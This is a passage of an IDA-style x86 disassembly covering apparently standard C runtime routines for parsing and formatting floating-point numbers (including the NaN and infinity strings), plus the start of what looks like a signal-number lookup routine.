mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_41F2E5 endp
; =============== S U B R O U T I N E =======================================
sub_41F313 proc near ; CODE XREF: sub_41F8D8+1C8p
; sub_41FDD0+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_41F313 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F340 proc near ; CODE XREF: sub_41F407+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_41F3B4
push edi
mov [ebp+arg_8], eax
loc_41F367: ; CODE XREF: sub_41F340+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_41F2E5
push ebx
call sub_41F2E5
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41F287
push ebx
call sub_41F2E5
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41F287
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_41F367
xor edx, edx
pop edi
loc_41F3B4: ; CODE XREF: sub_41F340+21j
; sub_41F340+9Fj
cmp [ebx+8], edx
jnz short loc_41F3E1
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_41F3B4
; ---------------------------------------------------------------------------
loc_41F3E1: ; CODE XREF: sub_41F340+77j
mov esi, 8000h
loc_41F3E6: ; CODE XREF: sub_41F340+B9j
test [ebx+8], esi
jnz short loc_41F3FB
push ebx
call sub_41F2E5
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_41F3E6
; ---------------------------------------------------------------------------
loc_41F3FB: ; CODE XREF: sub_41F340+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_41F340 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F407 proc near ; CODE XREF: sub_41E5AA+17p
; sub_41E5D7+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_41F442: ; CODE XREF: sub_41F407+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_41F458
cmp cl, 9
jz short loc_41F458
cmp cl, 0Ah
jz short loc_41F458
cmp cl, 0Dh
jnz short loc_41F45B
loc_41F458: ; CODE XREF: sub_41F407+40j
; sub_41F407+45j ...
inc edi
jmp short loc_41F442
; ---------------------------------------------------------------------------
loc_41F45B: ; CODE XREF: sub_41F407+4Fj
push 4
pop esi
loc_41F45E: ; CODE XREF: sub_41F407+AEj
; sub_41F407+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_41F6E1 ; default
; jumptable 0041F46A case 10
jmp off_41F8A8[eax*4] ; switch jump
loc_41F471: ; DATA XREF: seg001:off_41F8A8o
cmp bl, 31h ; jumptable 0041F46A case 0
jl short loc_41F482
cmp bl, 39h
jg short loc_41F482
loc_41F47B: ; CODE XREF: sub_41F407+C4j
; sub_41F407+118j
push 3
jmp loc_41F69F
; ---------------------------------------------------------------------------
loc_41F482: ; CODE XREF: sub_41F407+6Dj
; sub_41F407+72j
cmp bl, byte_438130
jnz short loc_41F491
loc_41F48A: ; CODE XREF: sub_41F407+124j
push 5
jmp loc_41F6D7
; ---------------------------------------------------------------------------
loc_41F491: ; CODE XREF: sub_41F407+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_41F4B7
dec eax
dec eax
jz short loc_41F4AB
sub eax, 3
jnz loc_41F77A
jmp loc_41F53A
; ---------------------------------------------------------------------------
loc_41F4AB: ; CODE XREF: sub_41F407+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_41F45E
; ---------------------------------------------------------------------------
loc_41F4B7: ; CODE XREF: sub_41F407+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_41F45E
; ---------------------------------------------------------------------------
loc_41F4C0: ; CODE XREF: sub_41F407+63j
; DATA XREF: seg001:off_41F8A8o
cmp bl, 31h ; jumptable 0041F46A case 1
mov [ebp+var_10], edx
jl short loc_41F4CD
cmp bl, 39h
jle short loc_41F47B
loc_41F4CD: ; CODE XREF: sub_41F407+BFj
cmp bl, byte_438130
jz loc_41F595
cmp bl, 2Bh
jz short loc_41F50F
cmp bl, 2Dh
jz short loc_41F50F
cmp bl, 30h
jz short loc_41F53A
loc_41F4E8: ; CODE XREF: sub_41F407+207j
cmp bl, 43h
jle loc_41F77A
cmp bl, 45h
jle short loc_41F508
cmp bl, 63h
jle loc_41F77A
cmp bl, 65h
jg loc_41F77A
loc_41F508: ; CODE XREF: sub_41F407+EDj
push 6
jmp loc_41F6D7
; ---------------------------------------------------------------------------
loc_41F50F: ; CODE XREF: sub_41F407+D5j
; sub_41F407+DAj ...
dec edi
push 0Bh
jmp loc_41F6D7
; ---------------------------------------------------------------------------
loc_41F517: ; CODE XREF: sub_41F407+63j
; DATA XREF: seg001:off_41F8A8o
cmp bl, 31h ; jumptable 0041F46A case 2
jl short loc_41F525
cmp bl, 39h
jle loc_41F47B
loc_41F525: ; CODE XREF: sub_41F407+113j
cmp bl, byte_438130
jz loc_41F48A
cmp bl, 30h
jnz loc_41F6EF
loc_41F53A: ; CODE XREF: sub_41F407+9Fj
; sub_41F407+DFj
mov eax, edx
jmp loc_41F45E
; ---------------------------------------------------------------------------
loc_41F541: ; CODE XREF: sub_41F407+63j
; DATA XREF: seg001:off_41F8A8o
mov [ebp+var_10], edx ; jumptable 0041F46A case 3
loc_41F544: ; CODE XREF: sub_41F407+184j
cmp dword_43812C, edx
jle short loc_41F55D
movzx eax, bl
push esi
push eax
call sub_418576
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41F56B
; ---------------------------------------------------------------------------
loc_41F55D: ; CODE XREF: sub_41F407+143j
mov ecx, off_437F20
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41F56B: ; CODE XREF: sub_41F407+154j
test eax, eax
jz short loc_41F58D
cmp [ebp+var_4], 19h
jnb short loc_41F585
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_41F588
; ---------------------------------------------------------------------------
loc_41F585: ; CODE XREF: sub_41F407+16Cj
inc [ebp+var_8]
loc_41F588: ; CODE XREF: sub_41F407+17Cj
mov bl, [edi]
inc edi
jmp short loc_41F544
; ---------------------------------------------------------------------------
loc_41F58D: ; CODE XREF: sub_41F407+166j
cmp bl, byte_438130
jnz short loc_41F5FC
loc_41F595: ; CODE XREF: sub_41F407+CCj
mov eax, esi
jmp loc_41F45E
; ---------------------------------------------------------------------------
loc_41F59C: ; CODE XREF: sub_41F407+63j
; DATA XREF: seg001:off_41F8A8o
cmp [ebp+var_4], 0 ; jumptable 0041F46A case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_41F5B5
loc_41F5A8: ; CODE XREF: sub_41F407+1ACj
cmp bl, 30h
jnz short loc_41F5B5
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_41F5A8
; ---------------------------------------------------------------------------
loc_41F5B5: ; CODE XREF: sub_41F407+19Fj
; sub_41F407+1A4j ...
cmp dword_43812C, edx
jle short loc_41F5CE
movzx eax, bl
push esi
push eax
call sub_418576
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41F5DC
; ---------------------------------------------------------------------------
loc_41F5CE: ; CODE XREF: sub_41F407+1B4j
mov ecx, off_437F20
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41F5DC: ; CODE XREF: sub_41F407+1C5j
test eax, eax
jz short loc_41F5FC
cmp [ebp+var_4], 19h
jnb short loc_41F5F7
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_41F5F7: ; CODE XREF: sub_41F407+1DDj
mov bl, [edi]
inc edi
jmp short loc_41F5B5
; ---------------------------------------------------------------------------
loc_41F5FC: ; CODE XREF: sub_41F407+18Cj
; sub_41F407+1D7j
cmp bl, 2Bh
jz loc_41F50F
cmp bl, 2Dh
jz loc_41F50F
jmp loc_41F4E8
; ---------------------------------------------------------------------------
loc_41F613: ; CODE XREF: sub_41F407+63j
; DATA XREF: seg001:off_41F8A8o
cmp dword_43812C, edx ; jumptable 0041F46A case 5
mov [ebp+var_24], edx
jle short loc_41F62F
movzx eax, bl
push esi
push eax
call sub_418576
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41F63D
; ---------------------------------------------------------------------------
loc_41F62F: ; CODE XREF: sub_41F407+215j
mov ecx, off_437F20
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41F63D: ; CODE XREF: sub_41F407+226j
test eax, eax
jz loc_41F6EF
mov eax, esi
jmp short loc_41F6A0
; ---------------------------------------------------------------------------
loc_41F649: ; CODE XREF: sub_41F407+63j
; DATA XREF: seg001:off_41F8A8o
lea ecx, [edi-2] ; jumptable 0041F46A case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_41F659
cmp bl, 39h
jle short loc_41F69D
loc_41F659: ; CODE XREF: sub_41F407+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_41F6D5
dec eax
dec eax
jz short loc_41F6C9
sub eax, 3
jnz loc_41F77D
loc_41F66E: ; CODE XREF: sub_41F407+2A4j
push 8
jmp short loc_41F6D7
; ---------------------------------------------------------------------------
loc_41F672: ; CODE XREF: sub_41F407+63j
; DATA XREF: seg001:off_41F8A8o
mov [ebp+var_20], edx ; jumptable 0041F46A case 8
loc_41F675: ; CODE XREF: sub_41F407+276j
cmp bl, 30h
jnz short loc_41F67F
mov bl, [edi]
inc edi
jmp short loc_41F675
; ---------------------------------------------------------------------------
loc_41F67F: ; CODE XREF: sub_41F407+271j
cmp bl, 31h
jl loc_41F77A
cmp bl, 39h
jg loc_41F77A
jmp short loc_41F69D
; ---------------------------------------------------------------------------
loc_41F693: ; CODE XREF: sub_41F407+63j
; DATA XREF: seg001:off_41F8A8o
cmp bl, 31h ; jumptable 0041F46A case 7
jl short loc_41F6A6
cmp bl, 39h
jg short loc_41F6A6
loc_41F69D: ; CODE XREF: sub_41F407+250j
; sub_41F407+28Aj
push 9
loc_41F69F: ; CODE XREF: sub_41F407+76j
pop eax
loc_41F6A0: ; CODE XREF: sub_41F407+240j
dec edi
jmp loc_41F45E
; ---------------------------------------------------------------------------
loc_41F6A6: ; CODE XREF: sub_41F407+28Fj
; sub_41F407+294j
cmp bl, 30h
jnz short loc_41F6EF
jmp short loc_41F66E
; ---------------------------------------------------------------------------
loc_41F6AD: ; CODE XREF: sub_41F407+63j
; DATA XREF: seg001:off_41F8A8o
cmp [ebp+arg_18], 0 ; jumptable 0041F46A case 11
jz short loc_41F6DD
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_41F6D5
dec eax
dec eax
jnz loc_41F77D
loc_41F6C9: ; CODE XREF: sub_41F407+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_41F45E
; ---------------------------------------------------------------------------
loc_41F6D5: ; CODE XREF: sub_41F407+258j
; sub_41F407+2B8j
push 7
loc_41F6D7: ; CODE XREF: sub_41F407+85j
; sub_41F407+103j ...
pop eax
jmp loc_41F45E
; ---------------------------------------------------------------------------
loc_41F6DD: ; CODE XREF: sub_41F407+2AAj
push 0Ah
dec edi
pop eax
loc_41F6E1: ; CODE XREF: sub_41F407+5Dj
; sub_41F407+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 0041F46A case 10
jz loc_41F77F
jmp loc_41F45E
; ---------------------------------------------------------------------------
loc_41F6EF: ; CODE XREF: sub_41F407+12Dj
; sub_41F407+238j ...
mov edi, [ebp+arg_8]
jmp loc_41F77F
; ---------------------------------------------------------------------------
loc_41F6F7: ; CODE XREF: sub_41F407+63j
; DATA XREF: seg001:off_41F8A8o
mov [ebp+var_20], 1 ; jumptable 0041F46A case 9
xor esi, esi
loc_41F700: ; CODE XREF: sub_41F407+339j
cmp dword_43812C, 1
jle short loc_41F718
movzx eax, bl
push 4
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_41F727
; ---------------------------------------------------------------------------
loc_41F718: ; CODE XREF: sub_41F407+300j
mov ecx, off_437F20
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41F727: ; CODE XREF: sub_41F407+30Fj
test eax, eax
jz short loc_41F747
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_41F742
mov bl, [edi]
inc edi
jmp short loc_41F700
; ---------------------------------------------------------------------------
loc_41F742: ; CODE XREF: sub_41F407+334j
mov esi, 1451h
loc_41F747: ; CODE XREF: sub_41F407+322j
mov [ebp+var_1C], esi
loc_41F74A: ; CODE XREF: sub_41F407+371j
cmp dword_43812C, 1
jle short loc_41F762
movzx eax, bl
push 4
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_41F771
; ---------------------------------------------------------------------------
loc_41F762: ; CODE XREF: sub_41F407+34Aj
mov ecx, off_437F20
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41F771: ; CODE XREF: sub_41F407+359j
test eax, eax
jz short loc_41F77A
mov bl, [edi]
inc edi
jmp short loc_41F74A
; ---------------------------------------------------------------------------
loc_41F77A: ; CODE XREF: sub_41F407+99j
; sub_41F407+E4j ...
dec edi
jmp short loc_41F77F
; ---------------------------------------------------------------------------
loc_41F77D: ; CODE XREF: sub_41F407+261j
; sub_41F407+2BCj
mov edi, ecx
loc_41F77F: ; CODE XREF: sub_41F407+2DDj
; sub_41F407+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_41F867
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_41F7AB
cmp [ebp+var_45], 5
jl short loc_41F79F
inc [ebp+var_45]
loc_41F79F: ; CODE XREF: sub_41F407+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_41F7AE
; ---------------------------------------------------------------------------
loc_41F7AB: ; CODE XREF: sub_41F407+38Dj
mov eax, [ebp+var_C]
loc_41F7AE: ; CODE XREF: sub_41F407+3A2j
cmp [ebp+var_4], 0
jbe loc_41F85D
loc_41F7B8: ; CODE XREF: sub_41F407+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_41F7C6
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_41F7B8
; ---------------------------------------------------------------------------
loc_41F7C6: ; CODE XREF: sub_41F407+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_41F340
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_41F7E5
neg eax
loc_41F7E5: ; CODE XREF: sub_41F407+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_41F7F0
add eax, [ebp+arg_10]
loc_41F7F0: ; CODE XREF: sub_41F407+3E4j
cmp [ebp+var_24], ecx
jnz short loc_41F7F8
sub eax, [ebp+arg_14]
loc_41F7F8: ; CODE XREF: sub_41F407+3ECj
cmp eax, 1450h
jle short loc_41F82F
mov [ebp+var_2C], 1
loc_41F806: ; CODE XREF: sub_41F407+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_41F812: ; CODE XREF: sub_41F407+454j
; sub_41F407+45Ej
cmp [ebp+var_2C], 0
jz short loc_41F878
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_41F88D
; ---------------------------------------------------------------------------
loc_41F82F: ; CODE XREF: sub_41F407+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_41F83F
mov [ebp+var_30], 1
jmp short loc_41F806
; ---------------------------------------------------------------------------
loc_41F83F: ; CODE XREF: sub_41F407+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_41FFF0
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_41F812
; ---------------------------------------------------------------------------
loc_41F85D: ; CODE XREF: sub_41F407+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_41F812
; ---------------------------------------------------------------------------
loc_41F867: ; CODE XREF: sub_41F407+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_41F88D
; ---------------------------------------------------------------------------
loc_41F878: ; CODE XREF: sub_41F407+40Fj
cmp [ebp+var_30], 0
jz short loc_41F88D
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_41F88D: ; CODE XREF: sub_41F407+426j
; sub_41F407+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_41F407 endp
; ---------------------------------------------------------------------------
off_41F8A8 dd offset loc_41F471 ; DATA XREF: sub_41F407+63r
dd offset loc_41F4C0 ; jump table for switch statement
dd offset loc_41F517
dd offset loc_41F541
dd offset loc_41F59C
dd offset loc_41F613
dd offset loc_41F649
dd offset loc_41F693
dd offset loc_41F672
dd offset loc_41F6F7
dd offset loc_41F6E1
dd offset loc_41F6AD
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F8D8 proc near ; CODE XREF: sub_41E67B+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_41F93A
mov byte ptr [ebx+2], 2Dh
jmp short loc_41F93E
; ---------------------------------------------------------------------------
loc_41F93A: ; CODE XREF: sub_41F8D8+5Aj
mov byte ptr [ebx+2], 20h
loc_41F93E: ; CODE XREF: sub_41F8D8+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_41F964
test edi, edi
jnz short loc_41F964
cmp [ebp+arg_0], edi
jnz short loc_41F964
loc_41F94F: ; CODE XREF: sub_41F8D8+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_41FB62
; ---------------------------------------------------------------------------
loc_41F964: ; CODE XREF: sub_41F8D8+6Cj
; sub_41F8D8+70j ...
cmp dx, si
jnz short loc_41F9E3
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_41F97D
cmp [ebp+arg_0], 0
jz short loc_41F98C
loc_41F97D: ; CODE XREF: sub_41F8D8+9Dj
test edi, 40000000h
jnz short loc_41F98C
push offset a1Snan ; "1#SNAN"
jmp short loc_41F9D2
; ---------------------------------------------------------------------------
loc_41F98C: ; CODE XREF: sub_41F8D8+A3j
; sub_41F8D8+ABj
test cx, cx
jz short loc_41F9A6
cmp edi, 0C0000000h
jnz short loc_41F9A6
cmp [ebp+arg_0], 0
jnz short loc_41F9CD
push offset a1Ind ; "1#IND"
jmp short loc_41F9B5
; ---------------------------------------------------------------------------
loc_41F9A6: ; CODE XREF: sub_41F8D8+B7j
; sub_41F8D8+BFj
cmp edi, eax
jnz short loc_41F9CD
cmp [ebp+arg_0], 0
jnz short loc_41F9CD
push offset a1Inf ; "1#INF"
loc_41F9B5: ; CODE XREF: sub_41F8D8+CCj
lea eax, [ebx+4]
push eax
call sub_415A20
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_41F9C4: ; CODE XREF: sub_41F8D8+109j
and [ebp+var_4], 0
jmp loc_41FB3B
; ---------------------------------------------------------------------------
loc_41F9CD: ; CODE XREF: sub_41F8D8+C5j
; sub_41F8D8+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_41F9D2: ; CODE XREF: sub_41F8D8+B2j
lea eax, [ebx+4]
push eax
call sub_415A20
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_41F9C4
; ---------------------------------------------------------------------------
loc_41F9E3: ; CODE XREF: sub_41F8D8+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_41FFF0
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_41FA44
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_41FDD0
pop ecx
pop ecx
loc_41FA44: ; CODE XREF: sub_41F8D8+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_41FA5E
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_41FA61
jmp loc_41F94F
; ---------------------------------------------------------------------------
loc_41FA5E: ; CODE XREF: sub_41F8D8+173j
mov edi, [ebp+arg_C]
loc_41FA61: ; CODE XREF: sub_41F8D8+17Fj
cmp edi, 15h
jle short loc_41FA69
push 15h
pop edi
loc_41FA69: ; CODE XREF: sub_41F8D8+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_41FA7F: ; CODE XREF: sub_41F8D8+1B4j
lea eax, [ebp+var_10]
push eax
call sub_41F2E5
dec [ebp+arg_14]
pop ecx
jnz short loc_41FA7F
test esi, esi
jge short loc_41FAA9
neg esi
and esi, 0FFh
jle short loc_41FAA9
loc_41FA9C: ; CODE XREF: sub_41F8D8+1CFj
lea eax, [ebp+var_10]
push eax
call sub_41F313
dec esi
pop ecx
jnz short loc_41FA9C
loc_41FAA9: ; CODE XREF: sub_41F8D8+1B8j
; sub_41F8D8+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_41FB06
mov [ebp+arg_C], ecx
loc_41FAB9: ; CODE XREF: sub_41F8D8+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_41F2E5
lea eax, [ebp+var_10]
push eax
call sub_41F2E5
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_41F287
lea eax, [ebp+var_10]
push eax
call sub_41F2E5
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_41FAB9
mov eax, [ebp+arg_14]
loc_41FB06: ; CODE XREF: sub_41F8D8+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_41FB43
loc_41FB13: ; CODE XREF: sub_41F8D8+248j
cmp eax, ecx
jb short loc_41FB26
cmp byte ptr [eax], 39h
jnz short loc_41FB22
mov byte ptr [eax], 30h
dec eax
jmp short loc_41FB13
; ---------------------------------------------------------------------------
loc_41FB22: ; CODE XREF: sub_41F8D8+242j
cmp eax, ecx
jnb short loc_41FB2A
loc_41FB26: ; CODE XREF: sub_41F8D8+23Dj
inc eax
inc word ptr [ebx]
loc_41FB2A: ; CODE XREF: sub_41F8D8+24Cj
inc byte ptr [eax]
loc_41FB2C: ; CODE XREF: sub_41F8D8+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_41FB3B: ; CODE XREF: sub_41F8D8+F0j
mov eax, [ebp+var_4]
loc_41FB3E: ; CODE XREF: sub_41F8D8+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41FB43: ; CODE XREF: sub_41F8D8+239j
; sub_41F8D8+275j
cmp eax, ecx
jb short loc_41FB53
cmp byte ptr [eax], 30h
jnz short loc_41FB4F
dec eax
jmp short loc_41FB43
; ---------------------------------------------------------------------------
loc_41FB4F: ; CODE XREF: sub_41F8D8+272j
cmp eax, ecx
jnb short loc_41FB2C
loc_41FB53: ; CODE XREF: sub_41F8D8+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_41FB62: ; CODE XREF: sub_41F8D8+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_41FB3E
sub_41F8D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FB6B proc near ; CODE XREF: sub_41B42C+342Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_41FBD2
dec eax
dec eax
jz short loc_41FBC3
sub eax, 4
jz short loc_41FBC3
sub eax, 3
jz short loc_41FBC3
sub eax, 4
jz short loc_41FBB6
sub eax, 6
jz short loc_41FBA9
dec eax
jz short loc_41FB9C
or eax, 0FFFFFFFFh
jmp loc_41FC94
; ---------------------------------------------------------------------------
loc_41FB9C: ; CODE XREF: sub_41FB6B+27j
mov esi, dword_46B914
mov eax, offset dword_46B914
jmp short loc_41FBDD
; ---------------------------------------------------------------------------
loc_41FBA9: ; CODE XREF: sub_41FB6B+24j
mov esi, dword_46B910
mov eax, offset dword_46B910
jmp short loc_41FBDD
; ---------------------------------------------------------------------------
loc_41FBB6: ; CODE XREF: sub_41FB6B+1Fj
mov esi, dword_46B918
mov eax, offset dword_46B918
jmp short loc_41FBDD
; ---------------------------------------------------------------------------
loc_41FBC3: ; CODE XREF: sub_41FB6B+10j
; sub_41FB6B+15j ...
push edi
call sub_41FC98
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_41FBDD
; ---------------------------------------------------------------------------
loc_41FBD2: ; CODE XREF: sub_41FB6B+Cj
